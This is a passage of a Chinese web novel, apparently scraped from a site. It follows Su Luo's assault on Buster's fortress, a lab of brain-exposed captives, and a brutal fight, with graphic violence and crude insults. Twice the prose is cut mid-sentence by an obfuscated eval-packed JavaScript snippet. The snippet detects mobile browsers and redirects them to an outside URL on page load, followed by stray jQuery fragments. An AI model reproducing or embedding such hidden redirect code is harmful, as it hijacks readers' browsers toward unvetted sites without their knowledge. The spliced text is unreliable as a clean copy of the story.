“胆敢让军方精心照料了他一年,不愧是有勇有谋的前代呢。就是他的守口如瓶让现在的我们很难办。”
“那你努力一下,加油撬开他的嘴啊。”苏罗懒洋洋道,“你不是最擅长哄人开心,勾三搭四的么。”
虚影尼克立即举起右手,状若起誓。
“您谬赞了,在下只承认口才好的那部分。我对待爱侣和君主都遵守同一个标准,即只忠于一人,坚决不允许自己背叛的哦,天地可鉴。”
一番调|情似得开场结束,他低头示意地上的两只提包。
“寒暄就到此为止吧,苏小少爷,麻烦您跑这一趟了。我们给您的期限是三天,您应该有更充足的时间来准备的。”
苏罗充耳不闻,俯身拉开拉链,露出里面的‘赎金’。
确实是溶液和纸片。
但却是浸泡着三颗大脑的密封罐和一堆印满字的白纸。
崖壁上方瞬间传来一阵惊诧又恼怒的喧闹声。
想来他们也猜到这些脑子是属于谁的了。
一年前参与绑架苏洛,之后同样被俘的那三人。
计划其实是狮鹫一人发起的,并未提前告诉大首领,但他到底是意图背叛还是想秘密邀功,如今都因他的昏迷不得而知。
他现在就躺在要塞的秘密实验室里。
但不管怎样,这一举动都激怒了整个兵团。
向来只有他们敢这么残害俘虏耀武扬威,怎能允许别人站到他们头上撒野。
呱噪声持续许久,上方偶尔还能看到有人端着枪支冒头。
反观苏罗,他双手背后面朝山壁,一派泰然自若。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673084|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等声音稍微小点了,他才撩开衣袖看了眼手表。
“现在是下午一点零五分,算上返程的时间,四个半小时后我会到家。只要你们现在把人还给我,我还能赶上今天要播的动画剧集。”
他没看面前尼克·哈里斯的虚影,而是头仰到最高,瞄准一处隐蔽的瞭望岩廊。
巴斯特和他的核心成员,以及他精挑细选出来的专属护卫都在这里。
从神色来看,这位兵团暴|君心情并不好。
他下一步拂开雪狐,自己站到传像仪前。
崖壁底端,尼克的身影散成噪点摇晃,转眼就拼成一副巨大的躯体,量级直接碾压豆苗般的白衣omega。
苏罗吹了声流氓口哨。
“不错啊,是用你抢来的蓝月能源改造的吗?用起来如何?有和以前的感觉不一样吗?耐久吗?经打吗?”
他轻佻的发言令巴斯特双眸微眯,眼里的轻蔑胜过玩味。
“自然是妙极了。”巴斯特冷笑道,“捏死一个狂妄的小人儿,把他做成肉干送回给他的兄长绰绰有余。”
苏罗像没听懂威胁,往左跨步第一次挪动了位置。
“但还没有全部发挥出来吧。因为少了最重要的‘药引’,而你把它丢给好兄弟用了,美名其曰能增强战力。还说那是从首都搞来的好货,效果远超蓝月改造,就在一年前。”他也学着对方龇牙笑,“我说得对么?”
巴斯特脸上的狂妄焰火暗下几分,但依然不见慌乱。
面对他的虚影,苏罗演起表情丰富的独角戏。
“可是很不巧,当时那一批货还只是人家的初级试验品,并不安定,如果没有定期输入浓度较高的蓝月能源,脑子会像裂开一样疼。”
“所以他们就想,噢,能不能趁这次赌一把大的,找什么人合作,互惠互利,一起弄到他们都想要的东西。”
青年小步跳着,黑发容颜在雪景中耀眼夺目,与林间妖精的描述不谋而合。
“那么,这些人又是谁呢?有办法一直跟你们联系,还允许你们呆在这边山头,甚至不用缴纳税金哎。真是溺爱啊,不过,这段关系也快到此为止了吧。”
他说着有意吸气,拔高音量向上喊道。
“谁让你也绑架了人家的宝贝儿子呢,合作决裂了吧。”
呼喊通过仪器传回高处,也一声声回荡在空寂的山壁当中。
话说到这份上,另一个合作方的身份昭然若揭。
巴斯特不以为然,自诩大度地抬手,示意返回的反向。
“如果你今天来只是想说这些不三不四的话,那我奉劝你还是早点回去,到你亲爱哥哥的胯|下多舔|弄讨好他一番,免得你今后再像这次愚蠢的送死,他却缩在家里不敢来搭救你。”
“搭救?”
苏罗嗤嗤发笑,大开大合的动作让人看着都肋骨生疼,只怕他笑得背过气去。
他倒是收放自如,回神又叩着腕表。
“蓝月改造还真是只改身体不改脑袋啊,你刚才没听见我说的吗?只要你们把人还我,噢抱歉,是我一开始没说清楚。”
他回到原位,堂堂伫立,身姿有如一座孤峻岭,与前方的通天山崖遥遥相对。
而他下达了最后的通牒。
“把我们斯卡蒂的列兵,子民,属于他们的土地全部还回来,那我这就放过你们。”
完全的狮子大开口,根本是异想天开的威胁。
这回大笑的轮到巴斯特一方了。
“噗哈哈、你听见他说什么了吗?”
“要放过我们?哈哈哈,怎么会有这么可爱的想法。”
“快滚回去吧小家伙,不然被叔叔们抓到,等会儿你可就有苦吃喽……”
原来面对太愚蠢的弱者,人真的会无语到笑出声,根本发不了怒。
实在不怪他们会这么想。
对手苏洛只有一辆普通的雪行车,跟着八名不成气候的小兵。
去年刚遭绑架重伤,还被谣传瘸腿,虽然这小少爷现在好好站着,可他一个刚成年又没蓝月改造过的omega,拿什么跟他们夸海口。
这不,他灰溜溜走回车旁边了,马上就要逃进车厢,哭唧唧地告状。
没有哭鼻子。
没有进车门。
那白色身影定在车边,突然转身摆出助跑架势。
到底还是与他结过怨的雪狐反应快,立马高声一喝。
“快!射击!”
危机意识不如他,一旁架着武器的人终究慢了半拍。
白色小点冲过来了。
似野兽,似飞车,惊人的速度使之化作一道流星尾迹,眨眼翻过防线石墙。
防线后的两百米范围当然设有陷阱,可机关启动的速度竟跟不上他冲刺的步伐。
那些捕网电枪还有地雷统统被他甩在身后,只炸开一片壮观却徒劳的火花。
“直接用能量炮!绝不能让他到墙底!轰死他也无所谓!”
雪狐继续发号施令,一拳砸向岩廊里的通知按钮。
紧急铃响彻整座要塞内部,上到待命的兵团干部,下到劳作中的奴隶,全都被这阵刺耳鸣音包围,本能地绷紧神经。
因为雪狐的带动和激化,大部分惊愕的士兵们没了主见,一股脑搬出平时对阵军队才用的大型武器。
轰炸开始了。
对他们考验也一并降临。
八十米的攻击范围,那颗疾速移动的小点分明是最好击中的靶子,可他竟狡猾的让轨迹折来折去,精准预判炮弹降落的位置。
所有炮弹了打水漂,扬起高达数米的沙尘雪雾,反倒加大他们瞄准的难度。
这下众人终于明白雪狐急切的原因。
伴着警铃,士兵自发地疯狂扫射,崖壁最高处的操作室里,一台聚能炮准备就绪,誓要让那跨越雷池的一人死无全尸。
六十米,五十米,三十米,二十米……
余下最后十米,形如闪电的小人破开迷雾起跳。
同一时间,没人在意的雪行车里已完成武器的重构。
那七名omega直接拆取车内的零件,短短几分钟内就复原出一台弓弩型的射击装置。
和即将向地面发射的危险能量炮不同,他们最初的‘子弹’仅仅是两柄黑色短刀。
午后一点十六分二十七秒,聚能炮于上空绽开蓝光,雪行车内的远程弩准备就绪。
两台武器一前一后发射,相隔五秒时间差。
就像不同的目标要人来锁定,这五秒的差距也由那目光炯炯,充满自信的小兵把控。
他们瞄准岩廊外侧,滔天气浪上冲的最高处,同时也是一个踏壁乘风,出现在兵团首领跟前的白影。
那五秒,是某人用来借着轰击波的声势忤逆重力,在碎石气流间蹬跳的。
能量炮的余波对冲了机械弓弩的威力,两柄黑刀恰到好处地滞空,下落,旋转着落在这人掌中。
以如此惊骇的方式亮相,他像算计好了一样飞扑,手腕一转就将刀尖甩前,贯穿巴斯特的两肩,挑断中间的肉筋。
出手稳准,抽手狠快,他跳开洒下弧形血痕,划成脚边两道警戒线。
红线相交处,让全兵团畏惧的巴斯特像一座小山轰然倒地,疼得发不出声。
“什么嘛,我还以为你会有多难杀,结果这么一下你就要哭鼻子了?”
苏罗嗤笑着揉捏右耳,舒缓在爆炸中造成的轻微耳鸣。
按他一贯的作风,他根本不在乎这群惊惧交加的匪兵想对他说什么。
不过出于礼貌,他还是收刀入鞘,只是踩着巴斯特的面门放话。
“王对王,将对将,你们放心好了,我不会那么不讲道理,都擒住你们的主帅了还要欺负你们的。”
他头也不回,凌空跃起的身影似一弯银月,劈腿扫开两个在死角处偷袭的匪兵。
落地时他还是故意踩在巴斯特身上,将人踹得下巴脱臼。
“公平起见,就让我那些不成气候的混蛋们来对付你们吧,彼此好好玩一场,可以么。”他说着又摆出人畜无害的笑脸,表情从容。
仿佛他已经亲眼看到一群银色的巨鸟,斯卡蒂的空军穿越风层,悬在要塞顶端。
仿佛他已确定山崖侧面,陡峭得连植株都不敢扎根的岩壁上,一群如猛禽精悍的奇袭兵准时翻进据点。
在能撼动心神的冲杀声中,雪行车上的远程射击组打响突击第一枪,释放信号弹。
焰火如柱,呼喝如雷。
象征开战的红芒在雪山的苍白风景中一路升腾,无畏地逆天而去。
36.元首的蓝宝石36
爆炸声震荡开来时,伊诺克·普莱德正像只无头苍蝇在要塞内乱窜。
他用捡来的布帽掩饰自己显眼的红发,又在换衣间拉来一套风衣藏起囚服,顺利混进士兵当中。
过程中麻子脸跟他走散,他终于能逆着人流,小心翼翼地寻找着储药仓。
所谓理想很美好,现实很骨感正是如此。
他一路摸索,深入更加隔音的区域,可结果迷失得更严重了。
要塞内部的路径非常复杂,很多都是闲置的假据点,整个空间四通发达。
那些纯白过道伸向有如复制出来的隔室,连着一扇扇紧闭的合金大门,仿佛直达的死域的墓穴,看不到半个活物。
极端的静吞噬感官,榨出人的退缩和怯意。
伊诺克只能硬着头皮前进。
他就跟麦迪婆婆去过一次治疗室,当时每隔几米就会遇到匪兵和其他奴仆,所以他全程三分之二的时间都低着头。
现在的迷路让他焦躁,发生在外面的冲突也让他心烦意乱。
刚才躲藏时,他从别人的对讲机那偷听到了苏罗和巴斯特的谈判。
那头魔鬼仍十足狂妄,充满一种不可理喻的自尊高傲。
但现在,‘不可理喻’的权重在伊诺克心里降低了。
能够用一年铺垫,指使全斯卡蒂骗过他和当初随行的精锐兵,若没十足的把握,这卑鄙小少爷是不会把他做成诱饵,一次钓上索拉兵团和他父亲两条大鱼。
因为他在这,所以北军有充分的理由直接强攻。
因为他在这,在首都的大元帅不会阻挠他们对兵团的打击。
他甚至还是间接促成大元帅和兵团翻脸的诱因之一。
何况双方原本就是为利益联结,维持着比地下情还不齿的关系,想要决裂就像撕掉一张协议那般简单。
而他伊诺克·普莱德,就是整场斗争中即用即弃的棋子。
奴隶生活和神经毒素并未完全麻||痹思维,伊诺克心中有数,明白此刻无论谁先找到他,他的下场都不会好过。
苏罗肯定还要利用他向他父亲宣战的。
还有苏霆,谢云哲,弗雷泽他们……
这群血红王的末裔果真如他母亲所说,是恶魔的子嗣,举着能肆虐人间的邪火降世,不是毁灭殆尽就铸就完全。
跑过第三段长走廊,强烈的震感陡然爆发,他身形一晃竟就此撞开一扇门。
感应灯于他头顶闪烁,随后盏盏接连亮起。
头晕中嗅到刺鼻的消毒水味,伊诺克还以为他走运找对地方了,谁知刚抬头,他挂满虚汗的脸又白一层。
这里,全是人。
有骨瘦嶙峋的奴隶,也有身形魁梧的匪兵,但更多的是一些还穿着旧军装的斯卡蒂士兵。
他们像一排排玻璃罐头伫立,全身浸在淡黄溶液里,以剔除头盖骨,裸露半颗大脑的骇然姿态深眠着。
等等、这到底是睡着了还是已经死了啊?
但话又说回来,这和死了有什么区别?!
远方的轰炸声越来越响,正应和着屋里青年心里掀起的一阵惊涛骇浪。
尚未消化完场景带来的冲击,有道身影匆忙地掠过他眼前。
那是位圆滚身材的中年男人,头发稀疏,个头不高,穿着皱巴巴的单衣,外搭一件白大褂。
瞥见他,男人没有很惊讶,反而松了口气。
“来得正好,你快点过来帮忙,时间不多了。”
伊诺克顿时反应过来,这是把他看成一名士兵了。
为不露馅,他默默爬起,低头按对方的指示去搬运整箱纸质资料。
上面的内容没有加密,部分研究报告的封面就写着明晃晃的名字。
约瑟·贝内特。
伊诺克眼神凝固了。
此时此刻,他再度感谢起自己游走交际场的岁月。
他不认识约瑟·贝内特,但他知道佐伊·贝内特。
首个作为特招人员从斯卡蒂调到首都的全科医生,专攻蓝月在人体方面的应用研究,曾因优化蓝月改造而获奖。
“你别愣着,动作快啊!”
约瑟在焚烧炉旁催促,一边将所有资料丢进桶型膛中。
再看小门通向的另一侧出口,那里正停着架改装过的小型飞行舱。
看来这家伙是准备在东窗事发前逃跑了。
他手头的研究资料,随便拿出一张都足以让他站上最高法庭,或谁灭口用的狙击枪下。
“谁……”
定住的红发假兵呼吸渐重,无法言语。
在因莫名的愤怒爆发前,他抄起一旁桌上的袖珍枪,直接抵住约瑟的后脑。
这肚子圆滚滚的家伙被他摁在炉子边,毫无还手之力。
“是谁让你研究这些的!那些机密的原始档案,你从哪得到的!”他高声喝问。
起初约瑟有些慌乱,稍加思索认出他的身份,又扯起嘴角笑道。
“原来是少校您啊,现在着实不是向您问候的好时机,请您先放开我,我保证一五一十告诉您。”
‘少校’的称呼令伊诺克恍若隔世,但他没被糊弄过去。
他仿佛学会了北军人的野蛮,执枪的手用力一戳。
“你只要回答我的问题,快说!”
被枪口的冰冷激到,约瑟猛地一颤,两侧膀子的肉跟着摇晃。
“我的、我的养父、佐伊博士他去年失踪后我就找到了这些,在他家里,我接着就来这工作了。真的就这样——”
似是没听到想要的答案,伊诺克的怒气更上一层。
这回他食指扣上扳机,故意让人听清那恐怖的喀哒声。
“继续说!不准瞎编乱造避重就轻,回、答、我、的、问、题!”
他一字一句发话,而在他的大力挤压下,约瑟的胖脸在铁板上挤成V型。
“是、是奥古斯阁下他推荐我来的……”
约瑟艰难地发出声音。
轰隆声似在某处炸开。
此时的伊诺克已分不清动静到底是炮火在逼近,还是源自他脑海的狂轰滥炸。
他松开约瑟,愣愣地垂下双臂。
回头瞧他是这幅表情,约瑟拍拍衣领,挂起精明而谄媚的讪笑。
“多谢您网开一面,伊诺克少校。能否劳驾您再搭把手,帮忙处理掉这些不适合公开给大众的小错误?我还可以顺手帮您解掉神经毒素,如何?”
肥圆的脸如日食阴影挡住视野,失神的伊诺克很快有了下一步。
他甩动上身,手臂一挥就用枪托击晕了对方。
奈何这次施力太猛,让他丧失整条右臂的知觉。
碍于惯性,他跪倒扑向满地资料,缓神后的第一反应竟是搂起它们跑到焚烧炉前。
——这些绝不能被世人知道!
他仓惶地无声呐喊。
纸张被丢进去,没几秒又给他捞回来,他还能动的左手撑在启动键旁,反复地攥拳暴起青筋。
最终,他还是没能销毁。
约瑟·贝内特被他捆住丢在一边,而他带着枪和此人的通行卡打开相邻的一道道隔门。
每扇门后的画面,他都看了。
有些让他呕吐,有些让他眩晕,它们唤起他体内某种强烈的撕裂感,迫使他逐一探查。
不,今天他是自愿看的。
他必须要看。
抵达最深处,也是设施最尖端的隔室,他和一位看守的士兵迎面相遇。
外面频频传来不祥的轰鸣,声源时远时近,这让对方没有对他苍白的脸起疑,而是抓住他不停追问。
“现在怎么样?苏霆他们攻进来了吗?刚才内部的通讯信号断了,头儿有说我们接下来要怎么办吗?”
满口黄牙的男人一直瞄着门外,虽然是在问他,但心中早已拿好逃跑的主意。
“防线全都失守,看样子快撑不住了,我来把重要实验品移走,你要是有空来帮个——”
伊诺克面不改色撒谎,没说完就见对方脚下抹油,一溜烟跑往逃生方向。
如果这里是南哨塔,他反而会提枪奔往战场的吧。
平静地生出感慨,伊诺克如愿向内走去。
入眼是一台医疗舱,高高竖起面向来宾,它封闭的内腔装满青绿色溶液,漂浮着不知是皮屑还是气泡的小颗粒。
曾由莫奇和他运送的狮鹫果然在这,也跟之前那一列列‘罐头人’同样被剖开了头颅,大脑暴露在外。
但与他们不同的是,狮鹫的额叶连着一根细线。
越是靠近,仪器透过溶液变幻的绿光就越晃眼,以至于那根线条扭动起来时,伊诺克完全没反应。
等‘线’开始拍打透明屏障,突然膨大两倍,被吓退的他才惊觉这根本不是细线或输液管。
它是个生物。
一瞬就扭曲变色,全身布满涡状眼珠的虫子。
它似乎隔着仪器就嗅到另一个活人的存在,像饥肠辘辘的蜥蜴伸长舌头。
“扑通!”
身形大它数百倍的猎物跌坐在地,还未交锋就因恐惧输得一败涂地。
门偏巧在这时被撞开了。
进来的两人影子被光拉长,肩并着肩抢先闯进室内。
看到瘫坐的伊诺克,其中一人调笑道。
“哎呀呀,这真是得来全不费工夫啊。”
对于现在的伊诺克来说,没有什么比听见雪狐的声音更糟糕的事了。
他木着脸回头,‘没有更糟糕’的结论直接被推翻。
雪狐尼克搀扶着巴斯特,这两人不仅躲进来了,还飞快地输入密码让大门层层锁起。
当奴隶的惯性让伊诺克自觉沉默,可他的手还摁在裤管处。
“我劝你最好放弃那不中用的小玩具哦,普通的子弹对我们没用的。”
尼克微笑走近,朝人摆摆左手。
那只握着一柄普通短刀,看不出有何特殊。
但下一秒,再次被俘的伊诺克就明白雪狐的意思了。
室内响起叮叮咚咚的碎片掉落声,是巴斯特的伤口在飞快修复,他新长的血肉将子弹碎块全部挤出。
这惊人的愈合速度就像现场注射了蓝月治疗液,不留一点疤痕。
可疼痛是切实存在的。
又靠着部下半晌,痊愈的巴斯特才直起腰,他死咬着牙喘息,神似一头被激怒的猛虎。
“我就说苏霆守着开采洞那么多年,怎么会没有一点长进,原来他都用在那个野|种弟弟身上了。”
咒骂一声,巴斯特目光幽幽,盯向逃无可逃的人质。
“谁放你进来的,嗯?”
他的嗓音阴沉得可怖。
这瞬间,无数名字掠过唇边,可伊诺克最后只反问道。
“你们都被打得落花流水鸟兽散了,我就不能在你们快要输的时候逃吗?”
话音刚落他眼前一黑,胸口结结实实挨了巴斯特一拳。
大概飞出去三米,他横着摔进空容器的收集箱里。
外力重击催化毒素,这感觉近似高烧,紊乱所有感知。
仿佛他也被撬开脑壳,失去自我,变成沼泽中一团半死不活的血肉。
再后来,他只记得自己吐了血,也听见雪狐担忧地劝说什么,却被巴斯特怒吼着堵回去。
“输?我怎么可能会输给那些软脚虾,呵……他们只有一个同样改造过度的苏罗在硬撑而已,不足为惧,只要我……”
改造过度?
再听见魔鬼的名讳,连自己是谁也忘却的伊诺克首先想到的是否定。
那种家伙,才不是甘愿向一种能源或利益低头,只为换取向上攀爬的机会,换取自身强大就践踏他者的人。
火为何让人生畏?
有着如火长发的奴隶,少校,全区大元帅的爱子……
现在还是叫他‘真实故事的以诺’吧。
在察觉巨|魔一般的巴斯特重新逼近,像拎鸡崽拽起自己的胳膊时,真实的以诺仅仅思考着这样一个对现状毫无意义的命题。
——人类惧怕火的诅咒,最初到底是谁设下的?
反正肯定不是巴斯特或雪狐这类玩转森林法则的单一个体,亦不是和大元帅同流的位高权重者。
因为在权力和地位出现以前,恐惧与火早已问世数万年。
“怎么,你现在知道学乖装死了?小少校。”
巨魔呼出饱含血腥味的鼻息,掐人的力道异常恐怖,轻轻一捏就能拗断骨头。
他下一句还真暗笑着说道。
“为防止你等会儿又乱跑,我还是直接卸掉你的手脚吧。如何?你的这幅脸蛋够漂亮,值得留下。”
“……”
不含恐惧的复杂情感锁住喉咙,真实的以诺终究没发出声。
一步步踏入原始密林,沉进幽暗沼泽后,失去皮肉和名字的他第一次看清整个世界。
作为代价,他花费二十余年构筑,自己深信不疑的‘世界’也彻底支离破碎。
手骨在别人的摧残下咯咯作响,双眼因绝望的渗透缓缓涣散,在最后一刻,真实的以诺——伊诺克·普莱德隐约看到一团火苗。
它在熄灭之际颤抖着融入黑暗。
一如他即将坠向真正深渊的未来……
未来在震耳欲聋的巨响中粉碎。
地板崩裂了,隔墙粉碎了,上层骤然出现的破洞犹如被更巨型的野兽一口咬下,壮观得无与伦比。
空间内沙尘乱舞,一个人形从天而降,似枚导弹踹飞巴斯特。
前下还被巴斯特提着,伊诺克难免又摔一跤,吃了满嘴灰。
“哟,原来你躲到这来了啊。”
头顶上方传来有些许孩子气,却凛然不羁的声音。
这腔调熟悉,勾起某些糟糕回忆,伊诺克趴在地面一动不敢动,羞于看向另一个魔鬼。
他如今的面貌比原来更可悲可笑了,绝对会被对方践踏得更……
“咱们的游戏玩到一半,你却跟你养的小狐狸中途开溜,还想趁机弄残我手下的人,这可是比作弊还严重的犯规啊。”
嗯?
察觉话里的不对,囚首垢面的伊诺克当即抬头。
立在他前面的一道身影,耀眼得超乎想象。
这绝不是因为天顶的光如流水灌注,也不是因为他视觉受损,看什么都像蒙了一层细闪颗粒。
他的掌握的辞藻,人类谱写的残缺语言,根本形容不出‘它’的光辉。
美丽太庸俗,高贵太狭隘,就连倾国倾城这种当世最高级别的描述都不及它脚前的一抔尘土,一缕风流。
太阳……
是了。
允诺万事又可毁灭万物的中心天体。
就是它设下最古老的诅咒,包括后来的一切,那些人们应对强弱的不同作态。
人类惧怕又渴求烈火,是因为自睁眼起就在憧憬艳阳,对之神往。
“怎么,对着我就不说话了?还是又躲在石头里掉眼泪?”
当下,‘太阳’朝自诩强大,却被踢进碎石里的巨魔发问。
“这样也好,待会儿我拧下你的脑袋时,也不用被你那恶心难听的声音污染耳朵了。你说对吧?小雪狐。”
遭到点名,杵在角落的雪狐回以一个苦笑,接茬道。
“答应过王对王,将对将。苏小少爷,您可别言而无信对付我啊。”金发青年说着示弱地眨眨眼,举起双手像是投降,“还有,我们的‘王’才不是逃跑,他是专门回来备上好礼,要招待您呢……”
有过龃龉的二人相视,说话夹枪带棒。
可在苏罗冷笑时,一个目不转睛的旁观者发现他短暂的视线停留。
他多看了几眼雪狐的右手,也是那被齐根切掉的拇指位置。
才说几句话,远处突然掀起一股强气流。
巴斯特从石堆里站起,模样变得更怪了。
肌肉在短短时间内鼓成原来的两倍,撑得他全身肌肤发红,筋脉暴胀。
他的双眼最为骇人,从眼白到瞳仁都泛着诡异的红光,仿佛是杀意的具象化,填满破坏的炽烈欲|望。
起身后他未置一词,径直冲向苏罗。
时速远超常人,每一步都在地面踩下凹坑,造成掀飞铁板的恐怖风压。
这都不能用像不像野兽来设问了。
他完全就是一种兵器,一枚人形炮弹。
而趴在“巴斯特炮弹”瞄准的目标身后,伊诺克心猛地一颤,脱口而出。
“小心!快躲开——”
提醒声未落,他前方的人就已动身。
在旁观者吃力的目光追击下,两名对手双双化作超高速的子弹,以能扭曲空间的威力相撞。
狂澜刹那攻向八方,叫人不得不挡住眼睛,免得被气流割伤刺瞎。
各自代表着一边势力,两位观众表现得很敬业。
未等余波散尽他们就挪开手,紧张又暗含期盼地望向相撞处。
在这场体格与年龄都差距极大的肉|搏战里,给衬成小男孩的苏罗立于最高点。物理层面和战况方面都是。
他骑在了巴斯特的脖子上。
后者原是想捆住他的身体折断,所以才会呈现一个搂抱动作,反被他的双腿锁住咽喉,被他的双手控住脑袋和重心。
因为找准了角度,他甚至没怎么使劲。
经受半分钟窒息折磨,巴斯特的脸是真的趋于煮熟的颜色了。
熟得烂透,让人毫无食欲只想倒掉的那种。
当巴斯特开始翻白眼,苏罗爽快地卸力抽身,灵巧一翻落地。
看着大块头笨重地跌倒,他用脚尖踢起地上的石块,一个人玩得不亦乐乎。
他还边讥笑道。
“你是终于肯把自留的‘药引’吞了吧,以为靠这样就能突破蓝月改造的极限,逆转局势。不仅能解决掉我,还能把闯进你地盘的援军一网打尽。”
在此微微一顿,苏罗双手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740235|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扒拉眼睑,再现他能激怒任何人的鬼脸。
“蠢——货——简直是蠢货之王,要是知道你在想什么,浪费在你身上的能源都要觉得晦气。”
拖长音送出‘夸赞’,他露出更凌厉的笑容。
接着,毫无征兆前冲。
和刚才的巴斯特一模一样的招数,却得到截然不同的结果。
对现在的身躯无比自信,巴斯特原地不动,张开右掌等着青年送上门。
刀刃扎进掌心,神经亢奋的他感觉不到疼,他的肌肉厚得能当甲胄,区区小刀不足畏惧。
他连带着刀将青年的手包住,意欲像甩虫子一样将人抛高砸地。
仰赖直觉,他敢断言这一记足以重创对方。
极短的上下移动区间里,苏罗面色如常。
快要重重摔落的前一秒钟,他足尖触地借力,冷不防翻转身姿。
匕首跟随他搅动血肉,实现刺或砍都达不到的杀伤力。
自然,也在他反向踏中巴斯特的下颌时完成使命。
男人的右手从虎口一直裂到掌根,整根拇指软绵绵挂下,就连着层薄皮。
十指连心,当下的剧痛超过承受范围,不止让巴斯特松了手,也让他狰狞地嘶声大吼。
为什么?!
一种怒火点燃的困惑窜动在他心头。
他经过六次蓝月改造,又成功注入最后一个催化物,突破人类极限。
放在过去,连北区最强的苏霆也只能跟他勉强打个平手。
凭什么这个籍籍无名,甚至还不是正统苏家人的小豆苗将他一再碾压,逼入绝境。
质疑愤怒接连冒出,比起犯傻地追问,巴斯特还是更清楚自己应该做什么。
他捂着右手退开几米,同时看向快被他遗忘的下属。
这间研究室藏着一个毒气匣,开关就藏在雪狐脚边。
他们自己人随身带着解药胶囊,就算吸入几口也没关系。
可今天似乎是他的倒霉日。
无论他怎么使眼色,往日那精明的雪狐没有一点反应,就知道傻傻地看着他笑。
不,是看着袖口染血,玩转匕首的苏罗傻笑……
亲手拂开迷雾,窥见茫然后难以置信也是无法接受的事实——自己被从头骗到尾的事实,在观众席上欣赏此种变脸戏,伊诺克不得不说,这还真的蛮有趣。
说不出哪具体滑稽,但就是能引人发笑。
尤其当‘演员’还是他厌恶的巴斯特时。
“尼克·哈里斯!你居然、你这该死的叛徒——”
咆哮荡开暴怒的声波,尼克用同样少了拇指的手捂住一边耳朵。
“噢,不不不,亲爱的大首领,我怎么会是叛徒呢。”他咂嘴摇头道,“我再三强调向天发誓,我对爱侣和君主都谨遵同一标准,一旦认定就至死不渝。我都说了一年了,怎么你们就没听进去呢?”
雪狐的自侃如常,油腔滑调又不失风趣,可却不能再让欣赏他,重用他,信任他胜过狮鹫的虺蛇开怀。
今天的巴斯特总算意识到了。
这头‘狐狸’是脱了军装,也像他们一样不信仰正义尊奉法规,然而饲养并驯化它的人自始至终只有一个。
那不是他。
情绪愈发失控,巴斯特瞪眼龇牙,嘴角流下浑浊的涎水。
连他自己也没意识到,他的拇指又重新长了回来。
他充血的眼里只有此生最大的仇敌,一个掀翻他苦心经营的牌桌,非死不可的异端。
如今,这异类居然还敢拿刀指向他,笑得轻松写意。
“虽然比预期的要有趣一点,但你果然无法让我动真格呢,看在你的愚蠢令我发笑的份上,我就允许你再跟我玩会儿。”
施恩过后苏罗眼微眯,散漫的神色顷刻转变。
极为剽悍,不容置疑,乃是亘古仅此一例,无人能够复刻的傲岸。
他又盯上巴斯特的右拇指。
“另外,我再替我的人向你重申一遍吧。防止谁在自己背后放枪的方法,多得是,可要是想让人不在你面前开枪,就只有两条路可选……”
要么,做好死或杀死对方的准备。
要么,认清现实干脆利落地投降。
十米外,全身火烫冒烟的男人四肢着地,不知是否还能听到这抹清亮凛然的声音。
但是当苏罗发下敕令,形态趋于野兽的男人绝对感受到了。
感受到遮天蔽日的纯粹杀意,体量远在他之上。
“你已经浪费掉余给你的一条路了,巴斯特·格鲁,所以从现在开始……”
只剩下杀与被杀,输与赢,活与生的完全对立关系。
这便是随苏霆搭乘飞行器银翼五号,来到西区上空的一行人所见的场景。
高处本就视野开阔,舱内又有着自调摄像头,将石壁乃至地面的映像一清二楚地展现。
攀山的奇袭兵从要塞侧面攻入。
他们似飓风从下方开始席卷,既为上方空运来的战友争取攀爬时间,又彼此造成钳形攻势,让敌军退无可退。
要塞内布局复杂,过道曲折蜿蜒,其实交战双方都不便使用大型武器。
可索拉兵团非但没有因为熟悉地形占上风,反而一波接一波上去送命。
哪怕荷枪实弹对赤手空拳,他们也多半以‘被秒杀’收场。
这群斯卡蒂士兵,根本就是怪物的分身!
体能,耐心,爆发力,战斗技巧,他们不知从哪开了窍,水准全方位飞越。
即便个体存在短板,他们也用默契的配合抹消拖累。
配合无需交流,战术随时变幻,百来号人彼此织成一张密网,有条不紊收拢,束住所有猎物。
若有漏网之鱼逃出激战,停在要塞外的‘狙|击队’也恭候多时。
西奥多一人望风镇守,那七名omega瞄准各自负责的区域,扮演着遥远的死神精准狙杀,偶尔还抽空发出高|炮,击穿薄弱的石壁打开更多空间。
俯瞰着,聆听着,悬在要塞上空的银翼里始终无人发话。
不知该说什么是其次,被震撼到失语才是主要原因。
直至一道不寻常的龟裂于石壁中段延伸,冲出一头庞然大物。
巨物似人非人,滚落几秒后攀在岩壁,向在场全体人员展露全貌。
那是头有两层楼高的爬行生物,弯曲的后肢中间垂挂着一条肥硕尾巴,在冷风中晃来晃去。
谢云哲率先破功,猛吸一口气。
烟尘飘远,画面拉近,他清晰地看到‘尾巴’其实是等比放大,正处于兴奋中的阳||具。
再仔细一瞧,爬行物的椭圆脑袋有着眼熟的五官。
“这是巴斯特·格鲁?他怎么会变成这样?”
苓元帅第二个接力,彻底打破沉默。
作为在场最适合解释的人,苏霆像没听见一样朝前走,几乎快贴到飞行器的窗面。
临近傍晚,夕阳将山壁轮廓朦胧地印在雪地。
而如他深深期盼的,另一道浓烈的剪影于雾中闪现,径直跳上巴斯特头顶。
和去年如出一辙的血色加身,狂笑相伴。
当初怎样惊艳并颠覆众生,今天的青年就依样问世,引人心旌摇曳。
恍然间,苏霆忆起发小季宇飞曾说过一段和工作无关的闲话。
